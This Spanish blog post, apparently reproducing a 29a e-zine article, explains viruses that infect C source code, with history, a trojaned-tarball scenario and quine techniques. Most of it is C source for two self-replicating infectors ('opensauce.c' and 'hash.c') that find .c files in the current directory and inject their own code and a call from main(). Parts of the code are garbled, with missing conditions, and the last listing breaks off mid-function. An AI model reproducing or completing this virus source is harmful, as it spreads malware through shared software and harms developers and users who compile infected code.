Metaprogramación (IV): Programación de virus para código fuente C

Continuando (y muy probablemente terminando ya) con el tema de la metaprogramación, abordaremos todas las ideas introducidas hasta ahora en un artículo publicado en el e-zine sobre virus informáticos 29a (0x29a en hexadecimal es 666 en decimal ;-) ). En él, se nos muestra cómo un programa en C podría ser capaz de infectar a otros programas en C no compilados todavía, incluyendo funciones de infección, es decir, convirtiéndolos así mismo en vectores de infección. El artículo tiene ya su tiempo, pero creo que es un buen broche final a esta serie de comentarios e impresiones sobre la programación de programas que programan ;-D

 

Resumen

En este artículo comentaremos las posibilidades de infección mediante ataques a ficheros de código fuente, los antecedentes que ha habido en la materia y los desarrollos futuros que puedan darse.

El texto será acompañado de ejemplos en C a modo de “pruebas de concepto” de los detalles explicados. Así mismo, se presentarán técnicas de desarrollo de virus para código fuente mediante otras vías, desde un punto de vista menos práctico e indicando los pasos generales para su programación.

Introducción

Tal y como dice la letra de la célebre canción del Software Libre [1], actualmente mucha gente se esta sumando al movimiento del Software Libre o a variantes con fines más comerciales como el Open Source. El título de este artículo quiere hacer un guiño al estribillo de esa canción (“Join us now and share the software, you’ll be free, hackers, you’ll be free…”), indicando la posibilidad de que esa capacidad de distribución que ha tomado el código fuente en este tipo de entornos pueda ser utilizada para redistribuir código vírico.

Muchos de nosotros estamos empezando a desarrollar una fe casi ciega en los desarrolladores de programas con código abierto, ya que si el código es visible, será mucho más difícil que nos engañen o que hayan introducido efectos no deseados en esos programas. Si nos ponemos a pensar, cuando asistimos a un espectáculo de magia, muchos de los trucos necesitan de una cortina, mampara o algún elemento para ocultar cómo se nos está engañando, pero hay otros trucos que nos los hacen directamente a la cara, sin utilizar nada más que las manos, y aún así, caemos y nos los creemos. Algo parecido podría pasar con los programas de código abierto: el código está ahí y “cualquiera” lo puede ver y auditar, sin embargo, muy pocos lo hacen (¿quién ha auditado *todo* el código fuente que está corriendo en sus máquinas?) y, además, sería eventualmente posible ofuscar el código para que su comprensión se dificulte enormemente y poder introducir elementos ocultos y no deseados por el usuario en ese código.

Los virus de código fuente nunca han sido una amenaza real, básicamente porque, hasta hace bien poco, intercambiar programas distribuyendo el código fuente era algo muy inusual fuera de un ambiente demasiado geek. Los virus han tenido su hábitat natural dentro de los programas ejecutables, típicamente binarios, que se han distribuido de mano en mano durante todos estos años. A pesar de que las redes P2P han vuelto a relanzar el intercambio masivo de binarios, parece ser que este enfoque está yendo progresivamente a menos y que lo que se estila ahora mismo es pensar en una aproximación del tipo virus + gusano, que sea capaz de utilizar diferentes workstations o servidores como vectores de infección.

Intercambiar programas mediante el código fuente ya no es algo de freaks de la informática. En el mundillo del Software Libre y del Open Source es la manera más común de distribuir el código. Normalmente el código es auditado, por lo menos por el autor del mismo, aunque existen muchos mitos al respecto [2]. Sin embargo, se han dado ya varios casos en los que el servidor FTP oficial que distribuye el código fuente de un programa [3] [4], y en dichas ocasiones el código introducido fue muy obvio, pero podría haberse intentado un ataque más sutil.

No sé si en el futuro las redes P2P estarán plagadas de tarballs con el código fuente de un montón de programas, o si auditar el código fuente será una tarea automatizable (dónde surgiría un nuevo campo de batalla entre auditores y escritores de malware), pero lo que es un hecho constatable a día de hoy es que el intercambio de código fuente está en aumento, y, por ello, conviene analizar la plausibilidad de su utilización como vector de infección.

Antecedentes

Hasta la fecha han sido pocos y tímidos los infectores desarrollados con el objetivo de infectar código fuente. Las razones las acabamos de comentar: el código fuente no ha sido un buen vector de infección hasta la irrupción de la “revolución del código abierto” en el panorama del software actual.

virus de DOS, Urphin

En la lejana época de los virus de DOS, el virus Urphin [5] ya pensó en infectar código fuente como método de expansión. Su comportamiento no era nada extraño: una vez ejecutado permanecía residente (31h de int 21h) a la espera de que se ejecutase el programa TPC.EXE (Turbo Pascal Compiler) y era entonces cuando interceptaba los ficheros .PAS que contienen el código fuente de los programas en Pascal.

Una vez localizado el fichero .PAS, buscaba la palabra BEGIN, que indica el comienzo de un bloque de código en Pascal, y añadía un volcado hexadecimal de su código junto con el código en Pascal para ser ejecutado. Cuando el fichero .PAS se cerraba, el virus eliminaba el código recién introducido, con lo que se conseguían ejecutables infectados y ficheros .PAS limpios después de haber generado el ejecutable.

1994, la familia de virus SrcVir y el virus Die-Hard

En muchas páginas en las que se comenta la historia de los virus informáticos [6] se hace mención a la familia de virus SrcVir, aparecida en 1994 junto a una oleada de nuevos virus con objetivos y comportamientos extraños hasta la fecha. El objetivo de esta familia de virus era principalmente infectar ficheros de código fuente en C o Pascal, de forma similar al comentado Urphin.

En ese mismo año, fue programado y soltado in-the-wild otro virus que infectaba código fuente, el Die-Hard [7]. Este virus es bastante estándar (infector COM y EXE para DOS) a excepción de una característica: busca ficheros .ASM y .PAS, código fuente de ensamblador y Pascal respectivamente, para añadir un volcado con su código.

Infectores de bibliotecas de compilación

Existen virus que tienen como objetivo infectar los ficheros OBJ y LIB [8] para añadir su código a módulos o librerías que luego serán utilizadas para ser enlazadas con ejecutables. Los ficheros infectados de esta manera funcionarían únicamente como “portadores”, a la espera de que un ejecutable se enlace contra esos módulos o librerías y pueda seguir extendiendo el virus. De esta manera, los ejecutables no infectarían código ejecutable como tal, por lo que no hay peligro de autoinfección y no se debería contemplar en el código del virus, y los ficheros infectados son inútiles hasta que su código se incluye en un ejecutable, permaneciendo en un estado “latente” hasta entonces.

Cualquier código vírico en lenguajes de scripting

Como es obvio, cualquier virus que esté escrito en un lenguaje de scripting y tenga como objetivo infectar otros scripts, será un infector que copie su código fuente en el fichero “huésped”. Existen varias aproximaciones a este tipo de virus en Perl o Shell Script [9] [10], e incontables gusanos de Internet escritos en VisualBasicScript y otro tipo de lenguajes de scripting.

¿Por qué infectar código fuente?

Tal y como hemos comentado con anterioridad, es posible que este sea un campo en expansión y varios factores así lo demuestran: * El aumento del interés en Sistemas Operativos como GNU/Linux y *BSD genera una comunidad de usuarios cuyo principal valor es el código fuente y es utilizado como moneda de cambio. Algunos de estos nuevos usuarios se alejan de la antigua idea de hacker de UNIX y son menos técnicos (utilizando el ordenador como un electrodoméstico).

  • El aumento del interés de los gobiernos y entidades públicas en utilizar software de código abierto, para aumentar su seguridad. El software de fuente abierta no es inherentemente más seguro que el de código cerrado si no se toman las medidas oportunas. Hay muchos mitos al respecto [2], además de intentos por parte de Microsoft de engañar a los consumidores con medias verdades [13].
  • Algunos programas exigen ser compilados en cada ordenador por separado, ya sea porque es código libre que enlaza contra librerías o codecs propietarios, como porque exista una diferencia abismal entre la versión genérica para i386, y la compilada en el ordenador en cuestión. Este hecho exige que haya un entorno de desarrollo en más ordenadores. El ejemplo paradigmático de este caso es el Mplayer, multimedia player.

OK, pero… ¿cómo?

Escenario típico

Bob es un joven administrador de redes y sistemas apasionado por las redes wireless. Sus conocimientos sobre redes telemáticas son avanzados, pero no tiene ni idea de programar más allá de unos pocos scripts de shell sencillos. Una agradable noche de wardriving, mientras él y su compañero Dave escuchan Massive Attack y corretean por entre los routers de una compañía local, Bob queda asombrado del fantástico programa que tiene Dave para escanear redes inalámbricas. Ansioso, le pide la URL para descargárselo sin más dilación:

wget http://packetstormsecurify.nl/sniffers/wireless/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install

(nota: http://packetstormsecurify.nl no existe pero se podría comprar a un módico precio. Cualquier parecido con la coincidencia, es pura realidad)

Yeah! El programa funcionando y las redes rindiéndose a sus pies, ¡qué adrenalina! ¡como en los viejos tiempos! Lo que no sabe el pobre Bob es que ese tarball contenía malware y ahora lo tiene corriendo por las venas digitales de su portátil.

A Bob ya le había pasado esto antes, y desde entonces nunca hace esto como root. Obviamente el “make install” no funcionaría como un usuario normal, pero la herramienta seguiría siendo ejecutable y válida. Chico listo, pero aún desde un usuario normal podríamos intentar infectar todo el código fuente al que pudiésemos acceder con esos privilegios, que no tiene por qué ser poco.

¿Os parece inverosímil esta situación? ¿Cuántas veces hemos hecho tar xzf && ./configure && make && make install ciegamente? Yo reconozco que unas cuantas veces O;-D

Aproximación mediante ensamblador embebido

Todo programador de virus conoce herramientas de ingeniería inversa que proporcionan desensamblados de mucha calidad. Así rápidamente me vienen a la memoria el IDA disassembler o incluso el propio modo de desensamblado del HIEW. El port para UNIX del HIEW, el BIEW (que en realidad es el “hermano pequeño” de aquel) también soporta el desensamblado y podemos ver de forma cómoda el código fuente en ensamblador de casi cualquier programa.

Un enfoque de ASM inline para infectar ficheros fuente debería implementar un pequeño desensamblador del propio código, para poder incluirlo en el código fuente. Si tomamos como referencia el codigo fuente en C utilizado en GNU/Linux, deberíamos generar un desensamblador para nuestro código con la sintaxis AT&T e incluir en una función ese código:

int virus()
{
   __asm__(
  	"pusha\n\t"
	"call 0x8048086\n\t"
	[...]
	"mov $0x1,%%eax\n\t"
	"int $0x80"
  );
}

Para obtener ese desensamblado podemos hacer uso de la filosofía del Software Libre y conseguir el código que lo realiza en el BIEW o en el objdump. El fallo de esta manera de hacerlo reside en que el desensamblador ocuparía una porción muy considerable del código de nuestro virus, por lo que podría intentarse el uso de las herramientas comentadas directamente. Si nuestro objetivo es infectar código fuente, podemos hacer la presunción de que el ordenador infectado es un ordenador de desarrollo que puede tener instaladas ciertas herramientas. Mediante la syscall execve en UNIX podríamos ejecutar una de esas herramientas y generar el listado en un proceso hijo. Una versión optimizada de todo esto podría comprobar si existen algunas de las herramientas más comunes que puedan realizar este trabajo.

Pros:

  • No hay que comerse demasiado la cabeza, está casi todo hecho ya, sólo hay que juntar las piezas ;-)
  • Seguimos programando en ensamblador, controlando cada detalle.

Contras:

  • No es precisamente “discreto”.
  • Al ser ensamblador, perdemos el carácter multiplataforma inherente a la mayoría del código fuente.
  • El proceso de desensamblado puede ser demasiado engorroso en ocasiones.

Aproximación mediante “quines”

Un “quine” es un programa que genera su propio código fuente *sin* leerse a sí mismo. Se han hecho concursos internacionales de programación de estos curiosos programitas, todos ellos en un ambiente ultra-freak, claro está.

Existen varias maneras de hacer quines, alguna muy enrevesadas y otras muy elegantes, pero la forma más funcional a mi modo de ver es utilizando arrays de caracteres. De hecho, me quedé muy sorprendido después de hacer mi primer quine, porque cuando vi el resto había muchos muy diferentes, pero el que hizo Ken Thompson era prácticamente igual, aunque un poco menos enrevesado: la idea principal es tener el código fuente en un array de chars para poder hacer lo siguiente:

printf("char array[] = \"%s\";" array);

Con lo que rompemos el círculo vicioso que proponen los quines cuando quieres sacar por pantalla tu propio código (si haces printf(“printf(\”printf(\”… no parece ser un buen enfoque ;-D).

Un tiempo más tarde descubrí una auténtica joya de la informática [11] cuando ví el problema que planteaba Thompson en su ponencia “Reflections on Trusting Trust” al ganar el ACM Award. Es impresionante entender las implicaciones de ese texto, y sorprende ver a un auténtico gurú como Ken Thompson hablando como un escritor de malware };-) Actualmente el tema que se plantea no tiene una solución muy clara y parece ser un quebradero de cabeza sin soluciones sencillas [12].

Bien, centrándonos en el tema vemos cómo es necesario un array de chars que contenga el código del programa. Es aquí donde pueden surgir las mayores diferencias. Thompson creó su array separando uno a uno los chars de la siguiente forma:

char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };

En mi enfoque inicial vi que esto a parte de ser extraño resultaba demasiado obvio, es decir, se ve claramente como el contenido de ese array es código fuente en C. Por ello utilicé otra notación para guardar cada uno de los chars:

char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };

El primer objetivo estaba cumplido, eso no parece código fuente C a ojos de alguien poco familiarizado con la tabla ASCII. Sin embargo esta manera de definir el array aumentaba mucho el tamaño del mismo con respecto a un array en el que todos los chars estuviesen seguidos (no como en el primer ejemplo), por lo que había que pensar una manera de reducirlo. Lo primero que se me ocurrió para ello fue pensar en duplicar el espacio en el ejecutable, pero reducir a la mitad el espacio en el código fuente, creando un array así:

char s[] = "6D61696E2829207B0D0A69...";

De esta manera estoy utilizando mucho menos espacio en el fuente C. La contrapartida es que ahora utilizo 2 bytes para representar cada char dentro de mi array (¡qué desastre!). Para poder sacar por pantalla o escribir mi array ya no me vale con printf(), sino que tengo que hacer algo parecido a esto:

int i;
char nibblechar, nibble[2];

for(i=0;i<strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&nibblechar);
        printf("%c", nibblechar);
}

Bastante chapucero, pero funciona O:-)

Otra cosa que tenemos que tener en cuenta es que nuestro objetivo ya no es sacar por pantalla nuestro propio código, sino insertarlo dentro de un programa en C y que el programa pueda ser compilado correctamente. Por ello, en el siguiente ejemplo he dividido el array inicial en otros tres arrays: uno para los includes y la declaración de la función virus(), otro para la primera parte de dicha función y el otro para el final de la función virus(). Veamos todo esto:

<--------------------->
<----opensauce.c------>
<--------------------->

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while>0)
      if>=0) {
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while>0) {
              if( >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ||
                >0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<---------------------->
<--end of-opensauce.c-->
<---------------------->

El código no es un prodigio de la programación, pero sirve para enseñar lo que os quería explicar y además funciona (más o menos). En el array “charvirusend” se han suprimido muchas líneas para no engordar innecesariamente este texto (si deseáis una versión funcional del código, mirad en la e-zine 29a #7). El resto de código es bastante trivial:

1) Buscar ficheros en el directorio actual: abrir el directorio con opendir(), ir leyendo cada una de sus entradas con readdir() y cerrarlo con closedir().

2) Una vez que tenemos una posible víctima, comprobamos si se trata de un fichero “.c” ó “.C”, de ser así comprobamos si ya ha sido infectado (contiene la marca “/* sauce */”) y si es un fuente C en el que existe una función main().

3) Si se ha cumplido todo lo especificado en el punto anterior, procedemos a infectar, copiando los includes y la declaración de la función virus() al principio (charinclude), añadiendo una llamada a dicha función dentro de main(), y generando al final del código la función virus() (mediante el uso de “charvirus” y “charvirusend” además de unas cuantas llamadas a write() para definir los arrays).

4) Una vez terminada la infección, se cierra el fichero y el directorio, porque sólo se infecta un fichero cada vez.

5) Se termina la función virus(), por lo que se regresa al código original y todo funciona como debería funcionar.

Veamos otro ejemplo de este tipo de virus, algo más evolucionado:

<--------------->
<-----hash.c---->
<--------------->

/*
 * Hash,
 *
 * quine-based source code infector.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash();

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page,
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <fcntl.h>\n\nvoid init_hash();\n";
	char hashbeg[] = "\nvoid init_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent *dir; DIR *d;\n\tvoid *ptr;\n\tchar hashinc[] = \"";
	char hashend[] = "\tchar *buf;\n\n\td = opendir(\".\");\n\twhile>0)\n\t\tif(!(strcmp(dir->d_name+strlen(dir->d_name)-2,\".c\"))||\n\t\t   !(strcmp(dir->d_name+strlen(dir->d_name)-2,\".C\"))) \n\t\t\tif>=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK_END);\n\t\t\t\tptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init_hash\")) &&\n\t\t\t\t  ( >0) ||\n\t\t\t\t    >0) ||\n\t\t\t\t    >0) || \n\t\t\t\t    >0) ||\n\t\t\t\t    >0) ||\n\t\t\t\t    >0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 * (int)sysconf(_SC_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include <\");\n\t\t\t\t\tipos = (int)strstr;\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashinc);i,j)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashbeg);i,j)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashend);i,j)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";
	char *buf;

	d = opendir(".");
	while>0)
		if(!(strcmp(dir->d_name+strlen(dir->d_name)-2,".c"))||
		   !(strcmp(dir->d_name+strlen(dir->d_name)-2,".C")))
			if>=0)
			{
				size = lseek(fd, 0, SEEK_END);
				ptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);
				if( (!strstr(ptr,"init_hash")) &&
				  ( >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ||
				    >0) ) )
				{
					mpos = (int)strstr((void *)mpos, ";\n");
					mpos -= (int)--ptr;
					if( !(ipos = (int)strstr(++ptr, "#include <")) )
					{
						munmap(ptr, size);
						break;
					}
					munmap(ptr, size);
					page = 3 * (int)sysconf(_SC_PAGESIZE);
					ftruncate(fd, size+page);
					ptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);
					ipos = (int)strstr(ptr, "#include <");
					ipos = (int)strstr((void *)ipos, "\n\n");
					ipos -= (int)ptr;
					ihole = strlen(hashinc);
					for(i=(size-ipos)/ihole;i>=0;i--)
						memcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);
					memcpy(ptr+ipos, hashinc, ihole);
					mpos += ihole;
					buf = (char *)malloc(20*sizeof(char));
					strcpy(buf,"\n\tinit_hash();");
					thole = strlen(buf);
					for(i=(size+ihole-mpos)/thole;i>=0;i--)
						memcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);
					memcpy(ptr+mpos, buf, thole);
					bhole = strlen(hashbeg);
					memcpy(ptr+size+ihole+thole, hashbeg, bhole);

					/* declaracion de arrays y arrays */
					buf = (char *)malloc(100*sizeof(char)+strlen(hashinc));
					for(i=0,j=0;i<strlen(hashinc);i,j)
						switch(hashinc[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashinc[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
					bhole += strlen(buf);
					sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");
					bhole += 21;
					buf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));
					for(i=0,j=0;i<strlen(hashbeg);i,j)
						switch(hashbeg[i])
						{
							case '\n':
								sprintf(buf+j, "\\n");
								j++;
								break;
							case '\t':
								sprintf(buf+j, "\\t");
								j++;
								break;
							case '\\':
								sprintf(buf+j, "\\\\");
								j++;
								break;
							case '\"':
								sprintf(buf+j, "\\\"");
								j++;
								break;
							default:
								sprintf(buf+j, "%c", hashbeg[i]);
						}
					memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));
